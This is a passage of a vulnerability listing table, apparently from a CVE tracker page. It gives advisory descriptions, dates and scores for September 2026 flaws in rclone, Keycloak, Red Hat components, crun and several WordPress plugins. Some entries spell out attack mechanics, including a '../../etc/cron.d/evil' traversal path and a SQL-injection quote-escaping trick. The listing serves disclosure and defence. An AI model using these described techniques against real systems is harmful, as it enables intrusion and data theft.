&lt;td&gt;rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.72.0 until 1.75.1, the archive ZIP backend method (*Fs).readZip in backend/archive/zip/zip.go accepts archive/zip.File.Name values from an untrusted central directory and exposes cleaned entry names without ensuring that they remain inside the archive namespace. Entries such as ../../etc/cron.d/evil can survive path.Clean and become Object.Remote() values that fs/sync and fs/operations use as destination-relative paths, allowing rclone copy or sync to write outside the selected destination on backends that do not independently confine the path. The non-empty root check also used strings.HasPrefix without a path boundary, so root foo could incorrectly include sibling foobar entries. This issue is fixed in version 1.75.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88014&quot; target=&quot;_blank&quot;&gt;CVE-2026-88014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
&lt;td&gt;rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.75.1, backend/local with --links or links=true exposes symlink targets as .rclonelink objects, and fs.RangeOption.Decode can pass an unchecked positive Range start through Object.Open and openTranslatedLink. The function slices the target string as linkdst[offset:], so a Range start larger than the target length causes a deterministic slice-bounds panic when lib/http/serve exposes the object through HTTP or WebDAV. Go net/http normally recovers the panic per connection, causing request-level denial of service rather than terminating the entire process. This issue is fixed in version 1.75.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88015&quot; target=&quot;_blank&quot;&gt;CVE-2026-88015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
&lt;td&gt;rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.75.1, rclone core does not reject parent-directory segments in source Object.Remote() values before fs/list, fs/walk, fs/sync, and fs/operations pass those values to destination backends. A flat-keyspace source object store populated with native non-rclone tooling can contain a raw .. key segment, and affected b2, swift, qingstor, oracleobjectstorage, internetarchive, smb, storj, sftp, webdav, ftp, filelu, shade, and sia destinations use path.Join(root, remote) before EncodeDot can neutralize the segment. A copy or upload can therefore escape the configured root into another bucket, share, or path reachable by the victim credential, with sftp and smb potentially reaching other filesystem or share locations under the same login authority. This issue is fixed in version 1.75.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88046&quot; target=&quot;_blank&quot;&gt;CVE-2026-88046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;realmag777--HUSKY Products Filter for WooCommerce Professional&lt;/td&gt;
&lt;td&gt;The HUSKY - Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via SEO-friendly permalink filter URL segments in versions up to, and including, 1.4.3. This is due to insufficient input sanitization and output escaping in the wp_load_js() function, which reads filter values from the URL path via the url_request extension&#039;s parse_url_query() and embeds them into an inline JavaScript string using json_encode() without escaping single quotes. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a specially crafted link.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18562&quot; target=&quot;_blank&quot;&gt;CVE-2026-18562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Device Authorization Grant flow of Keycloak, an identity and access management solution. The issue occurs because the token redemption process fails to check if a user account is currently locked due to brute-force protection. If an attacker has an active session for a locked account, they can complete the device login process and receive new security tokens. This allows the attacker to maintain access to the account even when it should be temporarily disabled to prevent unauthorized entry.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88770&quot; target=&quot;_blank&quot;&gt;CVE-2026-88770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the key provider component of the keycloak-services library, which is the core engine for the Red Hat Build of Keycloak. The issue occurs because a previous fix for path probing was incomplete, allowing a realm administrator to still submit arbitrary filesystem paths as keystore parameters. This can be used to determine the existence and readability of files on the server, potentially exposing sensitive system information.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19729&quot; target=&quot;_blank&quot;&gt;CVE-2026-19729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Dynamic Client Registration service of Keycloak, an open-source identity and access management solution. The issue occurs when a user with the view-clients role accesses the client registration endpoint to retrieve client details. Due to a failure to mask sensitive information, the service returns the client&#039;s confidential secret in cleartext. This could allow a read-only administrator to obtain full access to the affected client&#039;s account and potentially escalate their privileges within the realm.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89298&quot; target=&quot;_blank&quot;&gt;CVE-2026-89298&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ceph Storage 5&lt;/td&gt;
&lt;td&gt;A flaw was found in the OCAPI modules (ocapi_command, ocapi_info) of the community.general Ansible collection. The shared OCAPI request helper disables TLS certificate validation on every request and the modules expose no parameter to re-enable it, while sending HTTP Basic-Auth credentials to an https endpoint. An attacker positioned on the network path between the Ansible controller and the OCAPI-managed storage/enclosure device can present any certificate, intercept the session, capture the credentials, and tamper with responses.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87872&quot; target=&quot;_blank&quot;&gt;CVE-2026-87872&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in gdk-pixbuf. This vulnerability allows a remote attacker to cause a heap out-of-bounds read by providing a specially crafted Apple Icon Image (.icns) file. The uncompress() function, which handles RLE-encoded ICNS icon data, fails to validate the source buffer&#039;s boundaries during decompression. This can lead to a denial of service, where the application crashes, or to information disclosure, potentially revealing sensitive data from adjacent memory.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18090&quot; target=&quot;_blank&quot;&gt;CVE-2026-18090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in PCS (Pacemaker Configuration System). A local attacker with membership in the &#039;haclient&#039; group can exploit the &#039;pcs host auth --token&#039; command to read the contents of arbitrary files on the filesystem, provided the files are shorter than 256 bytes. The file contents are read with root privileges by the pcsd daemon and can be exfiltrated by the attacker through subsequent cluster node communication. This allows disclosure of sensitive data such as API keys, tokens, or configuration secrets that would otherwise be inaccessible to the attacker.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84828&quot; target=&quot;_blank&quot;&gt;CVE-2026-84828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in `multipathd`. A local attacker with access to the `multipathd` UNIX control socket can exploit this vulnerability by sending valid commands and then ceasing to read replies. This action can cause the `multipathd` listener thread to block, leading to a Denial of Service (DoS) where legitimate Inter-Process Communication (IPC) operations may hang or time out. This issue does not result in privilege escalation, arbitrary code execution, or impact data confidentiality or integrity.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89329&quot; target=&quot;_blank&quot;&gt;CVE-2026-89329&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A symlink-following flaw was found in libvirt&#039;s qemuTPMEmulatorPrepareHost() function. The function uses a path-based chown() on the swtpm logfile without checking for symbolic links. A local attacker with access to the swtpm account can replace the logfile with a symlink, causing libvirtd (running as root) to transfer ownership of an arbitrary file to the swtpm user.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77159&quot; target=&quot;_blank&quot;&gt;CVE-2026-77159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in GLib2. When g_file_replace() is used with G_FILE_CREATE_REPLACE_DESTINATION and creating the .goutputstream-XXXXXX temporary file fails, the library unlinks the destination and recreates it without exclusive creation or symlink protection. A local attacker who can write to the destination directory can win that race and redirect the write to another file.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86469&quot; target=&quot;_blank&quot;&gt;CVE-2026-86469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in GStreamer&#039;s gst-plugins-good isomp4 plugin. When processing a specially crafted MP4 or MOV file containing CEA-608 closed-caption data, an integer overflow in 32-bit unsigned arithmetic can bypass a bounds check in the caption parser. This leads to an out-of-bounds heap read of up to 244 bytes, which is then included in the downstream caption output. An attacker could exploit this by tricking a user into opening a malicious media file, potentially resulting in disclosure of adjacent heap memory or application crash.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88914&quot; target=&quot;_blank&quot;&gt;CVE-2026-88914&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 6&lt;/td&gt;
&lt;td&gt;A flaw was found in Evolution. A remote attacker can exploit this vulnerability by sending a specially crafted HTML email containing a spoofed vCard control. When a victim clicks on this control, Evolution&#039;s trusted JavaScript handler incorrectly assigns an attacker-controlled JavaScript URL to an iframe&#039;s source. This action leads to arbitrary JavaScript execution within the mail-viewing context, effectively bypassing the security measures designed to prevent script execution in email content.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88859&quot; target=&quot;_blank&quot;&gt;CVE-2026-88859&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 8&lt;/td&gt;
&lt;td&gt;The shell theme installer in gnome-tweaks extracts user-supplied ZIP archives without validating archive member paths. As a result, a crafted theme archive can write files outside ~/.themes by using ../ path traversal, absolute paths, or symlink entries.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74859&quot; target=&quot;_blank&quot;&gt;CVE-2026-74859&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;A flaw was found in libtiff. A heap-buffer overflow vulnerability exists in the `tiff2pdf` utility due to an integer truncation error when processing crafted BigTIFF files. An attacker can provide a specially crafted BigTIFF file, causing a 64-bit `StripByteCounts` value to be truncated to a 32-bit integer. This leads to an undersized memory allocation and a subsequent out-of-bounds memory copy, resulting in a crash and severe memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18495&quot; target=&quot;_blank&quot;&gt;CVE-2026-18495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;A flaw was found in crun. When the container configuration does not give /dev a dedicated mount, terminal setup can redirect /dev/console onto an attacker-controlled path, including via the read-only-rootfs bind-mount fallback. Affected versions are crun 1.29.1 and earlier. Default configurations that mount a fresh /dev are not exposed. No fixed release is available yet.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88264&quot; target=&quot;_blank&quot;&gt;CVE-2026-88264&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;A flaw was found in crun. After pivot_root, reopening /dev/null for stdio can follow a symlink and attach a host file to container stdio, then change that file&#039;s ownership. Affected versions are crun 1.29.1 and earlier. Default configurations that mount a fresh /dev are not exposed. No fixed release is available yet.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88265&quot; target=&quot;_blank&quot;&gt;CVE-2026-88265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;The cupsUTF32ToUTF8() function in CUPS&#039;s cups/transcode.c lacks a source-length bound and can read past the end of the source buffer, resulting in a heap out-of-bounds read. This is reachable via SNMP supply-description parsing in backend/snmp-supplies.c with attacker-controlled content.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87875&quot; target=&quot;_blank&quot;&gt;CVE-2026-87875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat OpenShift AI (RHOAI)&lt;/td&gt;
&lt;td&gt;A flaw was found in odh-dashboard in Red Hat OpenShift AI. The backend-for-frontend route GET /api/nim-serving/:nimResource reads Kubernetes Secrets using the dashboard service account and returns the full Secret object, including .data, without an authorization check. Any authenticated dashboard user can retrieve the cluster NVIDIA NGC API key Secret (apiKeySecret) and the NIM image pull secret (nimPullSecret). Create and delete of the same NIM credential are admin-gated; the read path is not. This is missing authorization (CWE-862) and insufficiently protected credentials (CWE-522). It is distinct from CVE-2026-5483 (service-account token leak in the Kubernetes client response wrapper on the same route) and CVE-2026-16456 (odh-model-controller cross-namespace confused deputy).&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86332&quot; target=&quot;_blank&quot;&gt;CVE-2026-86332&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Service Interconnect 2&lt;/td&gt;
&lt;td&gt;A flaw was found in the skupper-router component of Red Hat Service Interconnect, which is used to provide secure communication between distributed services. The issue occurs when the router processes a specially crafted network message using its AMQP field parser. Due to a lack of bounds on recursion during parsing, the router can run out of stack memory and crash, leading to a denial of service for the interconnected network.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88763&quot; target=&quot;_blank&quot;&gt;CVE-2026-88763&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;renovatebot--renovate&lt;/td&gt;
&lt;td&gt;Renovate is a dependency update automation tool. In versions before 44.3.1 (and Mend Renovate CE/EE images before 15.4.0, mend-renovate-ce Helm chart before 15.4.0, mend-renovate-enterprise-edition Helm chart before 10.4.0), digest updates are not subject to the internal `minimumReleaseAge` (stability age) checks. When a repository configures `minimumReleaseAge` and has dependencies with `updateType=digest` - for example GitHub Actions pinned to a commit SHA with a floating tag, Docker images, Go modules or NuGet packages - Renovate will still open a pull request for a newly published digest, marked only with a pending `renovate/stability-days` status check. A newly published, potentially malicious dependency version can therefore cause a PR to be raised and CI workflows to potentially run before the configured minimum release age has elapsed, which is precisely what the Minimum Release Age control is intended to prevent. The issue is fixed in Renovate 44.3.1; as a workaround, digest updates can be disabled or gated behind `dependencyDashboardApproval`.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88884&quot; target=&quot;_blank&quot;&gt;CVE-2026-88884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Repetico--web backend&lt;/td&gt;
&lt;td&gt;A Cross-Site Scripting (XSS) vulnerability in the web backend for the Repetico app 1.9.7.31 for Android allows a remote authenticated user to execute arbitrary JavaScript code in the app&#039;s context via crafted input in the multiple-choice question text field.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-63842&quot; target=&quot;_blank&quot;&gt;CVE-2025-63842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;restify--node-restify&lt;/td&gt;
&lt;td&gt;A flaw has been found in restify node-restify up to 12.0.0. This affects the function serveStatic in the library /lib/plugins/static.js. This manipulation causes path traversal. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90494&quot; target=&quot;_blank&quot;&gt;CVE-2026-90494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rizwan17--inventory-management-system&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. This affects an unknown part of the file includes/invoice_bill.php of the component Invoice Generation. Such manipulation of the argument order_date/invoice_no leads to missing authentication. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87924&quot; target=&quot;_blank&quot;&gt;CVE-2026-87924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rizwan17--inventory-management-system&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected is an unknown function of the file dashboard.php. Performing a manipulation of the argument userid results in improper access controls. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90565&quot; target=&quot;_blank&quot;&gt;CVE-2026-90565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rizwan17--inventory-management-system&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected by this issue is some unknown functionality of the file includes/DBOperation.php of the component List Handler. This manipulation of the argument category_name/brand_name/product_name causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87923&quot; target=&quot;_blank&quot;&gt;CVE-2026-87923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rizwan17--inventory-management-system&lt;/td&gt;
&lt;td&gt;A flaw has been found in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. This issue affects some unknown processing of the file index.php of the component Login Page. Executing a manipulation of the argument msg can lead to cross site scripting. The attack can be launched remotely. The exploit has been published and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87926&quot; target=&quot;_blank&quot;&gt;CVE-2026-87926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rizwan17--inventory-management-system&lt;/td&gt;
&lt;td&gt;A flaw has been found in Rizwan17 inventory-management-system up to 5e74a46b4b70623d0e4a0c9c4aee3bd1777185d2. This affects an unknown function of the file includes/process.php. Executing a manipulation can lead to cross-site request forgery. It is possible to launch the attack remotely. The exploit has been published and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90599&quot; target=&quot;_blank&quot;&gt;CVE-2026-90599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;robokassa--Robokassa payment gateway for Woocommerce&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Robokassa payment gateway for Woocommerce &amp;lt;= 1.8.9 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78536&quot; target=&quot;_blank&quot;&gt;CVE-2026-78536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rocklobsterinc--Flamingo&lt;/td&gt;
&lt;td&gt;The Flamingo plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.6.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to enumerate taxonomy terms including channel names derived from Contact Form 7 form titles that may reveal internal form purposes, department names, or workflow identifiers, as well as submission counts per channel and contact tag names. The plugin&#039;s flamingo_map_meta_cap() filter restricts access to Flamingo&#039;s admin UI but does not extend to WordPress core APIs such as XML-RPC wp.getTerms and admin-ajax ajax-tag-search.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12853&quot; target=&quot;_blank&quot;&gt;CVE-2026-12853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rometheme--RTMKit&lt;/td&gt;
&lt;td&gt;Subscriber Cross Site Request Forgery (CSRF) in RTMKit &amp;lt;= 2.1.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62133&quot; target=&quot;_blank&quot;&gt;CVE-2026-62133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rubengc--GamiPress Gamification plugin to reward points, badges &amp;amp; ranks in WordPress, now with AI&lt;/td&gt;
&lt;td&gt;The GamiPress plugin for WordPress is vulnerable to authenticated (Subscriber+) SQL Injection via the &#039;q&#039; parameter of the wpForo integration AJAX selector (action gamipress_wpforo_get_posts) in versions up to, and including, 7.9.7. The value is passed only through $wpdb-&amp;gt;esc_like() and interpolated directly into a single-quoted LIKE clause with no %s placeholder. Because esc_like() runs after WordPress core magic quotes, it doubles the injected backslash (\&#039; -&amp;gt; \\&#039;), which MySQL reads as one literal backslash followed by a live closing quote, allowing the attacker to break out of the string and inject boolean-based SQL. The wpForo plugin only needs to be active to register the callback; no wpForo vulnerability is used. Requires a Subscriber account, which can read the gamipress_admin nonce (exposed on every admin page, e.g. /wp-admin/profile.php). Note: the researcher&#039;s Simple:Press vectors (PoC 2 &amp;amp; 3) do not reproduce in current code, which uses $wpdb-&amp;gt;prepare() with %s placeholders; only the wpForo selector is confirmed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15439&quot; target=&quot;_blank&quot;&gt;CVE-2026-15439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;saadiqbal--Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program myCred&lt;/td&gt;
&lt;td&gt;The Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program - myCred plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;wrapper&#039; Shortcode Attribute in all versions up to, and including, 3.2.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17149&quot; target=&quot;_blank&quot;&gt;CVE-2026-17149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;samanhappy--mcphub&lt;/td&gt;
